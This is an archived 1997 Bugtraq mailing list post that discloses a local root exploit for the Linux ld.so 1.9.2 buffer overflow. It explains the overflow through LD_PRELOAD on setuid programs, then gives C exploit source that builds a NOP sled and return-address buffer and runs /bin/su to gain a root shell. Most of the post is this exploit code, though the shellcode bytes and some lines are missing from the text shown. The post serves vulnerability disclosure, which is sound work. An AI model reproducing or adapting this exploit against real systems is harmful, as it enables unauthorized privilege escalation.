Home page logo

bugtraq logo Bugtraq mailing list archives

Linux ld.so exploit
From: mcguirk () INDIRECT COM (Dan McGuirk)
Date: Sat, 19 Jul 1997 17:28:05 -0700

Here is an exploit for the Linux ld.so buffer overflow recently announced
on this list.  It only works for ld.so 1.9.2, not 1.7.14.

The overflow doesn't seem to be exploitable by using a long filename,
because the error messages that get printed are of the form

        %s: can't load library '%s'\n

In _dl_fdprintf, the format string is iterated through by incrementing
parameter 'char *fmt', which is located on the stack only four bytes
above the return address you're trying to overwrite.  So if you try to
overflow the buffer by using the first %s, the ": can't load library"
part winds up overwriting 'fmt', and then _dl_fdprintf goes crazy and
segfaults before it can return with the phony return address.  So I don't
think you can do anything worse than cause a crash by creating a long

But you can still exploit the overflow by putting the shellcode string in
LD_PRELOAD.  1.7.14 ignores LD_PRELOAD for setuid executables, but 1.9.2
doesn't.  It does require that the LD_PRELOAD string have no slashes in
it, so you have to link /bin/sh into the current directory.

The patch that was posted doesn't defeat this, since it's not argv0
that's causing the overflow.

Anyway, here's the exploit.  You may have to adjust the offset, but the
buffer size should be correct.

 * buffer overflow exploit for ld-linux.so.1.9.2
 * by Dan McGuirk <mcguirk () indirect com>
 * based on Aleph One's "smashing the stack" code

#include <stdlib.h>

#define DEFAULT_OFFSET                 3300
#define DEFAULT_BUFFER_SIZE            1013
#define NOP                            0x90

char shellcode[] =

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");

  printf("sp is 0x%x\n", get_sp());
  addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff, "EGG=", 4);
  system("ln -sf /bin/sh _bin_sh");
  system("ln -sf /bin/su aa");
  system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  system("rm -f _bin_sh");
  system("rm -f aa");

  By Date           By Thread  

Current thread:
  • Linux ld.so exploit Dan McGuirk (Jul 20)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]